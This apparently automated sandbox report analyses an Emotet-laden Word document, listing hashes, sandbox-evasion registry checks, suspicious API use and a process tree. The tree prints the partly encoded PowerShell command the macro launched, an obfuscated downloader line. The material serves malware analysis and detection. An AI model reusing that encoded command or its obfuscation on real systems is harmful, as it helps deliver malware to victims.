Analysis
- max time kernel
137s - max time network
151s - platform
windows10_x64 - resource
win10 - submitted
16/10/2020, 09:15
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e1_28d9fcac0c4a6e340c432852050168e97798b64875f9213b4b4d39bb078fbfea_2020-10-16__091336025868._doc.doc
Resource
win7
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
emotet_e1_28d9fcac0c4a6e340c432852050168e97798b64875f9213b4b4d39bb078fbfea_2020-10-16__091336025868._doc.doc
Resource
win10
0 signatures
0 seconds
General
- Target emotet_e1_28d9fcac0c4a6e340c432852050168e97798b64875f9213b4b4d39bb078fbfea_2020-10-16__091336025868._doc.doc
- Size 210KB
- Sample201016-a8yjea7llx
- SHA256 28d9fcac0c4a6e340c432852050168e97798b64875f9213b4b4d39bb078fbfea
- MD5 aae727da8aba4f4a53b5721ab141d6c9
- SHA1 9647c8677d076af41ccb4e7f8aea7885241de661
- SHA512 682448219272105bc20673fd65a39a29e399388bd20cfb26cb0d65dc91cf7fb9642788bc7cdb71c076b77bb905177de401b3b3f07979feb75260dc6c9e5f5e68
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2488 1216 POwersheLL.exe 73 - Blacklisted process makes network request 1 IoCs
flow pid Process 16 2488 POwersheLL.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3844 WINWORD.EXE 3844 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 2488 POwersheLL.exe 2488 POwersheLL.exe 2488 POwersheLL.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2488 POwersheLL.exe - Suspicious use of SetWindowsHookEx 9 IoCs
pid Process 3844 WINWORD.EXE 3844 WINWORD.EXE 3844 WINWORD.EXE 3844 WINWORD.EXE 3844 WINWORD.EXE 3844 WINWORD.EXE 3844 WINWORD.EXE 3844 WINWORD.EXE 3844 WINWORD.EXE
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_28d9fcac0c4a6e340c432852050168e97798b64875f9213b4b4d39bb078fbfea_2020-10-16__091336025868._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3844
-
C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exePOwersheLL -ENCOD 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KQArACcAaQAnACsAJwB0AG0AJwApADsAYgByAGUAYQBrADsAJABEAHkAMQAyAHgAOAB6AD0AKAAoACcAQgAnACsAJwA1AG4AJwApACsAKAAnAGgAJwArACcAXwAzACcAKQArACcANAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFIAMgBlAHMAcAB2AGgAPQAoACgAJwBVACcAKwAnAHMAdQAnACkAKwAnAHAAJwArACgAJwBkACcAKwAnADcAXwAnACkAKQA=1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2488